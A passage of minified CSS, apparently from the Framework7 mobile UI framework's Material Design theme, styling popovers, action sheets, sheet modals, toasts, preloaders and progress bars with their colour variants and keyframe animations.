16px;color:rgba(0,0,0,.54);padding-top:12px;padding-bottom:12px}.md .popover-from-actions-label:after{content:'';position:absolute;background-color:#d2d2d6;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .popover-from-actions-label:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .popover-from-actions-label:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .theme-dark .popover{background-color:#202020}.md .theme-dark .popover-from-actions-label{color:rgba(255,255,255,.54)}.md .theme-dark .popover-from-actions-label:after{background-color:rgba(255,255,255,.08)}.actions-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.actions-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-backdrop.backdrop-in{visibility:visible;opacity:1}.actions-modal{position:absolute;left:0;bottom:0;z-index:13500;width:100%;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);display:none;max-height:100%;overflow:auto;-webkit-overflow-scrolling:touch;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.actions-modal.modal-in,.actions-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.actions-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.actions-modal.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.actions-modal.modal-out{z-index:13499;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:496px){.actions-modal{width:480px;left:50%;margin-left:-240px}}.actions-group{position:relative}.actions-button,.actions-label{width:100%;font-weight:400;margin:0;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;position:relative}.actions-button a,.actions-label a{text-decoration:none;color:inherit;display:block}.actions-button b,.actions-button.actions-button-bold,.actions-label b,.actions-label.actions-button-bold{font-weight:500}.actions-button{cursor:pointer;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.actions-button-media{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-button-text{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.actions-label{line-height:1.3;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.actions-grid .actions-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.actions-grid .actions-button{width:33.33333333%;display:block}.actions-grid .actions-button-media{margin-left:auto;margin-right:auto}.actions-grid .actions-button-text{margin-left:0!important;text-align:center}.md .actions-modal{background:#fff}.md .actions-group:last-child:after{display:none!important}.md .actions-group:after{content:'';position:absolute;background-color:#d2d2d6;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .actions-group:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .actions-group:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .actions-button,.md .actions-label{padding:0 16px}.md .actions-button{line-height:48px;font-size:16px;color:rgba(0,0,0,.87);-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.md .actions-button,.md .actions-button a{position:relative;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.md .actions-button a.active-state,.md .actions-button.active-state{background:rgba(0,0,0,.1)}.md .actions-button-media{min-width:40px}.md .actions-button-media i.icon{width:24px;height:24px;font-size:24px}.md .actions-button-media+.actions-button-text{margin-left:16px}.md .actions-label{font-size:16px;color:rgba(0,0,0,.54);padding-top:12px;padding-bottom:12px;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.md .actions-grid{padding:0}.md .actions-grid .actions-button-media{width:48px;height:48px}.md .actions-grid .actions-button-media i.icon{width:48px;height:48px;font-size:48px}.md .actions-grid .actions-button{padding:16px;line-height:1}.md .actions-grid .actions-button-text{margin-top:8px;line-height:16px;height:16px;font-size:12px;color:#757575}.md .actions-button.color-red,.md .actions-button.color-red .actions-button-text,.md .actions-label.color-red{color:#f44336}.md .actions-button.color-green,.md .actions-button.color-green .actions-button-text,.md .actions-label.color-green{color:#4caf50}.md .actions-button.color-blue,.md .actions-button.color-blue .actions-button-text,.md .actions-label.color-blue{color:#2196f3}.md .actions-button.color-pink,.md .actions-button.color-pink .actions-button-text,.md .actions-label.color-pink{color:#e91e63}.md .actions-button.color-yellow,.md .actions-button.color-yellow .actions-button-text,.md .actions-label.color-yellow{color:#ffeb3b}.md .actions-button.color-orange,.md .actions-button.color-orange .actions-button-text,.md .actions-label.color-orange{color:#ff9800}.md .actions-button.color-gray,.md .actions-button.color-gray .actions-button-text,.md .actions-label.color-gray{color:#9e9e9e}.md .actions-button.color-white,.md .actions-button.color-white .actions-button-text,.md .actions-label.color-white{color:#fff}.md .actions-button.color-black,.md .actions-button.color-black .actions-button-text,.md .actions-label.color-black{color:#000}.md.device-iphone-x .actions-modal.modal-in{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.sheet-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.sheet-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-backdrop.backdrop-in{visibility:visible;opacity:1}.sheet-modal{position:absolute;left:0;bottom:0;width:100%;height:260px;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:12500}.sheet-modal.modal-in,.sheet-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.sheet-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-modal.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.sheet-modal.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.sheet-modal .sheet-modal-inner{height:100%;position:relative;overflow:hidden}.sheet-modal .toolbar{position:relative;width:100%}.md .sheet-modal{background:#fff}.md .sheet-modal .toolbar{top:0}.md .sheet-modal .toolbar:after{display:none}.md .sheet-modal .toolbar+.sheet-modal-inner{height:calc(100% - 48px)}.md .sheet-modal .toolbar a.link:not(.tab-link){-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .sheet-modal .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.sheet-modal-inner .page-content{padding-top:0}.md.device-iphone-x .sheet-modal .sheet-modal-inner>.page-content,.md.device-iphone-x .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.md .theme-dark .sheet-modal{background-color:#202020}.toast{-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;position:absolute;max-width:568px;z-index:20000;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box}.toast.modal-in{opacity:1}.toast .toast-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.toast .toast-text{line-height:20px;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.toast .toast-button{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.toast.toast-with-icon .toast-content{display:block;text-align:center}.toast.toast-with-icon .toast-text{text-align:center}.toast.toast-with-icon .toast-icon .f7-icons{font-size:50px;width:50px;height:50px}.toast.toast-with-icon .toast-icon .material-icons{font-size:48px;width:48px;height:48px}.toast.toast-center{top:50%;opacity:0}@media (min-width:1024px){.toast{opacity:0}}html.with-statusbar.device-ios .toast-top,html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top{margin-top:20px}html.with-statusbar.device-iphone-x .toast-top{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}html.with-statusbar.device-android .toast-top,html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top{margin-top:24px}.md .toast{-webkit-transition-duration:.2s;transition-duration:.2s;border-radius:4px;background:#323232;opacity:0;left:8px;width:calc(100% - 16px);-webkit-transform:scale(.9);transform:scale(.9)}.md .toast.modal-in{-webkit-transform:scale(1);transform:scale(1);opacity:1}.md .toast.modal-out{-webkit-transform:scale(1);transform:scale(1);opacity:0}.md .toast.toast-center{left:50%;width:auto;background:rgba(0,0,0,.75);-webkit-transform:scale(.9) translate3d(-55%,-55%,0);transform:scale(.9) translate3d(-55%,-55%,0)}.md .toast.toast-center.modal-in{-webkit-transform:scale(1) translate3d(-50%,-50%,0);transform:scale(1) translate3d(-50%,-50%,0)}.md .toast.toast-center.modal-out{-webkit-transform:scale(1) translate3d(-50%,-50%,0);transform:scale(1) translate3d(-50%,-50%,0)}.md .toast.toast-bottom{bottom:8px}.md .toast.toast-top{top:8px}@media (min-width:584px){.md .toast{left:50%;margin-left:-284px}.md .toast.toast-center{margin-left:0}}@media (min-width:1024px){.md .toast{margin-left:0;width:auto}.md .toast.toast-bottom,.md .toast.toast-top{left:24px}.md .toast.toast-bottom{bottom:24px}.md .toast.toast-top{top:24px}}.md .toast-content{padding:14px 24px}.md .toast-button{margin-top:-8px;margin-bottom:-8px;margin-right:16px;margin-left:-8px}@media (max-width:568px){.md.device-iphone-x .toast-bottom .toast-content{padding-bottom:calc(14px + constant(safe-area-inset-bottom));padding-bottom:calc(14px + env(safe-area-inset-bottom))}}@media (min-width:1024px){.md.device-iphone-x .toast-bottom.modal-in{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}}.preloader{display:inline-block;vertical-align:middle}.preloader-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;-webkit-transition-duration:.4s;transition-duration:.4s;visibility:visible;opacity:0;background:0 0}.preloader-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.preloader-backdrop.backdrop-in{visibility:visible;opacity:1}.preloader-modal{position:absolute;left:50%;top:50%;padding:8px;background:rgba(0,0,0,.8);z-index:13500;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.preloader-modal .preloader{display:block!important}html.with-modal-preloader .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.md .preloader{font-size:0;display:inline-block;width:32px;height:32px;-webkit-animation:md-preloader-outer 3.3s linear infinite;animation:md-preloader-outer 3.3s linear infinite}@-webkit-keyframes md-preloader-outer{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes md-preloader-outer{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.md .preloader-inner{position:relative;display:block;width:100%;height:100%;-webkit-animation:md-preloader-inner-rotate 5.25s cubic-bezier(.35,0,.25,1) infinite;animation:md-preloader-inner-rotate 5.25s cubic-bezier(.35,0,.25,1) infinite}.md .preloader-inner .preloader-inner-gap{position:absolute;width:2px;left:50%;margin-left:-1px;top:0;bottom:0;-webkit-box-sizing:border-box;box-sizing:border-box;border-top:4px solid #757575}.md .preloader-inner .preloader-inner-left,.md .preloader-inner .preloader-inner-right{position:absolute;top:0;height:100%;width:50%;overflow:hidden}.md .preloader-inner .preloader-inner-half-circle{position:absolute;top:0;height:100%;width:200%;-webkit-box-sizing:border-box;box-sizing:border-box;border:4px solid #757575;border-bottom-color:transparent!important;border-radius:50%;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-duration:1.3125s;animation-duration:1.3125s;-webkit-animation-timing-function:cubic-bezier(.35,0,.25,1);animation-timing-function:cubic-bezier(.35,0,.25,1)}.md .preloader-inner .preloader-inner-left{left:0}.md .preloader-inner .preloader-inner-left .preloader-inner-half-circle{left:0;border-right-color:transparent!important;-webkit-animation-name:md-preloader-left-rotate;animation-name:md-preloader-left-rotate}.md .preloader-inner .preloader-inner-right{right:0}.md .preloader-inner .preloader-inner-right .preloader-inner-half-circle{right:0;border-left-color:transparent!important;-webkit-animation-name:md-preloader-right-rotate;animation-name:md-preloader-right-rotate}.md .preloader-modal{border-radius:4px}.md .preloader.color-red .preloader-inner-gap,.md .preloader.color-red .preloader-inner-half-circle,.md .preloader.preloader-red .preloader-inner-gap,.md .preloader.preloader-red .preloader-inner-half-circle{border-color:#f44336}.md .preloader.color-green .preloader-inner-gap,.md .preloader.color-green .preloader-inner-half-circle,.md .preloader.preloader-green .preloader-inner-gap,.md .preloader.preloader-green .preloader-inner-half-circle{border-color:#4caf50}.md .preloader.color-blue .preloader-inner-gap,.md .preloader.color-blue .preloader-inner-half-circle,.md .preloader.preloader-blue .preloader-inner-gap,.md .preloader.preloader-blue .preloader-inner-half-circle{border-color:#2196f3}.md .preloader.color-pink .preloader-inner-gap,.md .preloader.color-pink .preloader-inner-half-circle,.md .preloader.preloader-pink .preloader-inner-gap,.md .preloader.preloader-pink .preloader-inner-half-circle{border-color:#e91e63}.md .preloader.color-yellow .preloader-inner-gap,.md .preloader.color-yellow .preloader-inner-half-circle,.md .preloader.preloader-yellow .preloader-inner-gap,.md .preloader.preloader-yellow .preloader-inner-half-circle{border-color:#ffeb3b}.md .preloader.color-orange .preloader-inner-gap,.md .preloader.color-orange .preloader-inner-half-circle,.md .preloader.preloader-orange .preloader-inner-gap,.md .preloader.preloader-orange .preloader-inner-half-circle{border-color:#ff9800}.md .preloader.color-gray .preloader-inner-gap,.md .preloader.color-gray .preloader-inner-half-circle,.md .preloader.preloader-gray .preloader-inner-gap,.md .preloader.preloader-gray .preloader-inner-half-circle{border-color:#9e9e9e}.md .preloader.color-white .preloader-inner-gap,.md .preloader.color-white .preloader-inner-half-circle,.md .preloader.preloader-white .preloader-inner-gap,.md .preloader.preloader-white .preloader-inner-half-circle{border-color:#fff}.md .preloader.color-black .preloader-inner-gap,.md .preloader.color-black .preloader-inner-half-circle,.md .preloader.preloader-black .preloader-inner-gap,.md .preloader.preloader-black .preloader-inner-half-circle{border-color:#000}.md .preloader.color-multi .preloader-inner-left .preloader-inner-half-circle{-webkit-animation-name:md-preloader-left-rotate-multicolor;animation-name:md-preloader-left-rotate-multicolor}.md .preloader.color-multi .preloader-inner-right .preloader-inner-half-circle{-webkit-animation-name:md-preloader-right-rotate-multicolor;animation-name:md-preloader-right-rotate-multicolor}@-webkit-keyframes md-preloader-left-rotate{0%,100%{-webkit-transform:rotate(130deg);transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}}@keyframes md-preloader-left-rotate{0%,100%{-webkit-transform:rotate(130deg);transform:rotate(130deg)}50%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}}@-webkit-keyframes md-preloader-right-rotate{0%,100%{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}}@keyframes md-preloader-right-rotate{0%,100%{-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}50%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}}@-webkit-keyframes md-preloader-inner-rotate{12.5%{-webkit-transform:rotate(135deg);transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg);transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg);transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg);transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg);transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg);transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg);transform:rotate(945deg)}100%{-webkit-transform:rotate(1080deg);transform:rotate(1080deg)}}@keyframes md-preloader-inner-rotate{12.5%{-webkit-transform:rotate(135deg);transform:rotate(135deg)}25%{-webkit-transform:rotate(270deg);transform:rotate(270deg)}37.5%{-webkit-transform:rotate(405deg);transform:rotate(405deg)}50%{-webkit-transform:rotate(540deg);transform:rotate(540deg)}62.5%{-webkit-transform:rotate(675deg);transform:rotate(675deg)}75%{-webkit-transform:rotate(810deg);transform:rotate(810deg)}87.5%{-webkit-transform:rotate(945deg);transform:rotate(945deg)}100%{-webkit-transform:rotate(1080deg);transform:rotate(1080deg)}}@-webkit-keyframes md-preloader-left-rotate-multicolor{0%,100%{border-left-color:#4285f4;-webkit-transform:rotate(130deg);transform:rotate(130deg)}75%{border-left-color:#1b9a59;border-top-color:#1b9a59}50%{border-left-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}25%{border-left-color:#de3e35;border-top-color:#de3e35}}@keyframes md-preloader-left-rotate-multicolor{0%,100%{border-left-color:#4285f4;-webkit-transform:rotate(130deg);transform:rotate(130deg)}75%{border-left-color:#1b9a59;border-top-color:#1b9a59}50%{border-left-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}25%{border-left-color:#de3e35;border-top-color:#de3e35}}@-webkit-keyframes md-preloader-right-rotate-multicolor{0%,100%{border-right-color:#4285f4;-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}75%{border-right-color:#1b9a59;border-top-color:#1b9a59}50%{border-right-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(5deg);transform:rotate(5deg)}25%{border-top-color:#de3e35;border-right-color:#de3e35}}@keyframes md-preloader-right-rotate-multicolor{0%,100%{border-right-color:#4285f4;-webkit-transform:rotate(-130deg);transform:rotate(-130deg)}75%{border-right-color:#1b9a59;border-top-color:#1b9a59}50%{border-right-color:#f7c223;border-top-color:#f7c223;-webkit-transform:rotate(5deg);transform:rotate(5deg)}25%{border-top-color:#de3e35;border-right-color:#de3e35}}.progressbar,.progressbar-infinite{width:100%;overflow:hidden;position:relative;display:block;-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.framework7-root>.progressbar,.framework7-root>.progressbar-infinite,.page>.progressbar,.page>.progressbar-infinite,.panel>.progressbar,.panel>.progressbar-infinite,.popup>.progressbar,.popup>.progressbar-infinite,.view>.progressbar,.view>.progressbar-infinite,.views>.progressbar,.views>.progressbar-infinite,body>.progressbar,body>.progressbar-infinite{position:absolute;left:0;top:0;z-index:15000;border-radius:0!important;-webkit-transform-origin:center top!important;transform-origin:center top!important}.with-statusbar.device-ios .framework7-root>.progressbar,.with-statusbar.device-ios .framework7-root>.progressbar-infinite,.with-statusbar.device-ios body>.progressbar,.with-statusbar.device-ios body>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.ios:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:20px}.with-statusbar.device-android .framework7-root>.progressbar,.with-statusbar.device-android .framework7-root>.progressbar-infinite,.with-statusbar.device-android body>.progressbar,.with-statusbar.device-android body>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root>.progressbar-infinite,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar,.with-statusbar.md:not(.device-ios):not(.device-android) body>.progressbar-infinite{top:24px}.with-statusbar.device-iphone-x .framework7-root>.progressbar,.with-statusbar.device-iphone-x .framework7-root>.progressbar-infinite,.with-statusbar.device-iphone-x body>.progressbar,.with-statusbar.device-iphone-x body>.progressbar-infinite{top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}.progressbar{vertical-align:middle}.progressbar span{width:100%;height:100%;position:absolute;left:0;top:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);-webkit-transition-duration:150ms;transition-duration:150ms}.progressbar-infinite:after,.progressbar-infinite:before{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform-origin:left center;transform-origin:left center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);display:block}.progressbar-infinite.color-multi{background:0 0!important}.progressbar-in{-webkit-animation:progressbar-in 150ms forwards;animation:progressbar-in 150ms forwards}.progressbar-out{-webkit-animation:progressbar-out 150ms forwards;animation:progressbar-out 150ms forwards}@-webkit-keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes progressbar-in{from{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}to{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes progressbar-out{from{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}to{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}.md .progressbar,.md .progressbar-infinite{height:4px;background:rgba(33,150,243,.5);-webkit-transform-origin:center bottom;transform-origin:center bottom}.md .progressbar span{background:#2196f3}.md .progressbar-infinite{z-index:15000}.md .progressbar-infinite:after,.md .progressbar-infinite:before{content:'';background:#2196f3}.md .progressbar-infinite:before{-webkit-animation:md-progressbar-infinite-1 2s linear infinite;animation:md-progressbar-infinite-1 2s linear infinite}.md .progressbar-infinite:after{-webkit-animation:md-progressbar-infinite-2 2s linear infinite;animation:md-progressbar-infinite-2 2s linear infinite}.md .progressbar-infinite.color-multi:before{background:0 0;-webkit-animation:md-progressbar-infinite-multicolor-bg 3s step-end infinite;animation:md-progressbar-infinite-multicolor-bg 3s step-end infinite}.md .progressbar-infinite.color-multi:after{background:0 0;-webkit-animation:md-progressbar-infinite-multicolor-fill 3s linear infinite;animation:md-progressbar-infinite-multicolor-fill 3s linear infinite;-webkit-transform-origin:center center;transform-origin:center center}.md .color-theme-red .progressbar,.md .color-theme-red .progressbar-infinite{background:rgba(244,67,54,.5)}.md .color-theme-red .progressbar span{background:#f44336}.md .color-theme-red .progressbar-infinite:after,.md .color-theme-red .progressbar-infinite:before{background:#f44336}.md .color-theme-green .progressbar,.md .color-theme-green .progressbar-infinite{background:rgba(76,175,80,.5)}.md .color-theme-green .progressbar span{background:#4caf50}.md .color-theme-green .progressbar-infinite:after,.md .color-theme-green .progressbar-infinite:before{background:#4caf50}.md .color-theme-blue .progressbar,.md .color-theme-blue .progressbar-infinite{background:rgba(33,150,243,.5)}.md .color-theme-blue .progressbar span{background:#2196f3}.md .color-theme-blue .progressbar-infinite:after,.md .color-theme-blue .progressbar-infinite:before{background:#2196f3}.md .color-theme-pink .progressbar,.md .color-theme-pink .progressbar-infinite{background:rgba(233,30,99,.5)}.md .color-theme-pink .progressbar span{background:#e91e63}.md .color-theme-pink .progressbar-infinite:after,.md .color-theme-pink .progressbar-infinite:before{background:#e91e63}.md .color-theme-yellow .progressbar,.md .color-theme-yellow .progressbar-infinite{background:rgba(255,235,59,.5)}.md .color-theme-yellow .progressbar span{background:#ffeb3b}.md .color-theme-yellow .progressbar-infinite:after,.md .color-theme-yellow .progressbar-infinite:before{background:#ffeb3b}.md .color-theme-orange .progressbar,.md .color-theme-orange .progressbar-infinite{background:rgba(255,152,0,.5)}.md .color-theme-orange .progressbar span{background:#ff9800}.md .color-theme-orange .progressbar-infinite:after,.md .color-theme-orange .progressbar-infinite:before{background:#ff9800}.md .color-theme-gray .progressbar,.md .color-theme-gray .progressbar-infinite{background:rgba(158,158,158,.5)}.md .color-theme-gray .progressbar span{background:#9e9e9e}.md .color-theme-gray .progressbar-infinite:after,.md .color-theme-gray .progressbar-infinite:before{background:#9e9e9e}.md .color-theme-white .progressbar,.md .color-theme-white .progressbar-infinite{background:rgba(255,255,255,.5)}.md .color-theme-white .progressbar span{background:#fff}.md .color-theme-white .progressbar-infinite:after,.md .color-theme-white .progressbar-infinite:before{background:#fff}.md .color-theme-black .progressbar,.md .color-theme-black .progressbar-infinite{background:rgba(0,0,0,.5)}.md .color-theme-black .progressbar span{background:#000}.md .color-theme-black .progressbar-infinite:after,.md .color-theme-black .progressbar-infinite:before{background:#000}.md .progressbar-infinite.color-red,.md .progressbar.color-red{background:rgba(244,67,54,.5)}.md .progressbar.color-red span{background:#f44336}.md .progressbar-infinite.color-red:after,.md .progressbar-infinite.color-red:before{background:#f44336}.md .progressbar-infinite.color-green,.md .progressbar.color-green{background:rgba(76,175,80,.5)}.md .progressbar.color-green span{background:#4caf50}.md .progressbar-infinite.color-green:after,.md .progressbar-infinite.color-green:before{background:#4caf50}.md .progressbar-infinite.color-blue,.md .progressbar.color-blue{background:rgba(33,150,243,.5)}.md .progressbar.color-blue span{background:#2196f3}.md .progressbar-infinite.color-blue:after,.md .progressbar-infinite.color-blue:before{background:#2196f3}.md .progressbar-infinite.color-pink,.md .progressbar.color-pink{background:rgba(233,30,99,.5)}.md .progressbar.color-pink span{background:#e91e63}.md .progressbar-infinite.color-pink:after,.md .progressbar-infinite.color-pink:before{background:#e91e63}.md .progressbar-infinite.color-yellow,.md .progressbar.color-yellow{background:rgba(255,235,59,.5)}.md .progressbar.color-yellow span{background:#ffeb3b}.md .progressbar-infinite.color-yellow:after,.md .progressbar-infinite.color-yellow:before{background:#ffeb3b}.md .progressbar-infinite.color-orange,.md .progressbar.color-orange{background:rgba(255,152,0,.5)}.md .progressbar.color-orange span{background:#ff9800}.md .progressbar-infinite.color-orange:after,.md .progressbar-infinite.color-orange:before{background:#ff9800}.md .progressbar-infinite.color-gray,.md .progressbar.color-gray{background:rgba(158,158,158,.5)}.md .progressbar.color-gray span{background:#9e9e9e}.md .progressbar-infinite.color-gray:after,.md .progressbar-infinite.color-gray:before{background:#9e9e9e}.md .progressbar-infinite.color-white,.md .progressbar.color-white{background:rgba(255,255,255,.5)}.md .progressbar.color-white span{background:#fff}.md .progressbar-infinite.color-white:after,.md .progressbar-infinite.color-white:before{background:#fff}.md .progressbar-infinite.color-black,.md .progressbar.color-black{background:rgba(0,0,0,.5)}.md .progressbar.color-black span{background:#000}.md .progressbar-infinite.color-black:after,.md .progressbar-infinite.color-black:before{background:#000}@-webkit-keyframes md-progressbar-infinite-1{0%{-webkit-transform:translateX(-10%) scaleX(.1);transform:translateX(-10%) scaleX(.1)}25%{-webkit-transform:translateX(30%) scaleX(.6);transform:translateX(30%) scaleX(.6)}50%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}100%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}}@keyframes md-progressbar-infinite-1{0%{-webkit-transform:translateX(-10%) scaleX(.1);transform:translateX(-10%) scaleX(.1)}25%{-webkit-transform:translateX(30%) scaleX(.6);transform:translateX(30%) scaleX(.6)}50%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}100%{-webkit-transform:translateX(100%) scaleX(1);transform:translateX(100%) scaleX(1)}}@-webkit-keyframes md-progressbar-infinite-2{0%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}40%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}75%{-webkit-transform:translateX(60%) scaleX(.35);transform:translateX(60%) scaleX(.35)}90%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}100%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}}@keyframes md-progressbar-infinite-2{0%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}40%{-webkit-transform:translateX(-100%) scaleX(1);transform:translateX(-100%) scaleX(1)}75%{-webkit-transform:translateX(60%) scaleX(.35);transform:translateX(60%) scaleX(.35)}90%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}100%{-webkit-transform:translateX(100%) scaleX(.1);transform:translateX(100%) scaleX(.1)}}@-webkit-keyframes md-progressbar-infinite-multicolor-bg{0%{background-color:#4caf50}25%{background-color:#f44336}50%{background-color:#2196f3}75%{background-color:#ffeb3b}}@keyframes md-progressbar-infinite-multicolor-bg{0%{background-color:#4caf50}25%{background-color:#f44336}50%{background-color:#2196f3}75%{background-color:#ffeb3b}}@-webkit-keyframes 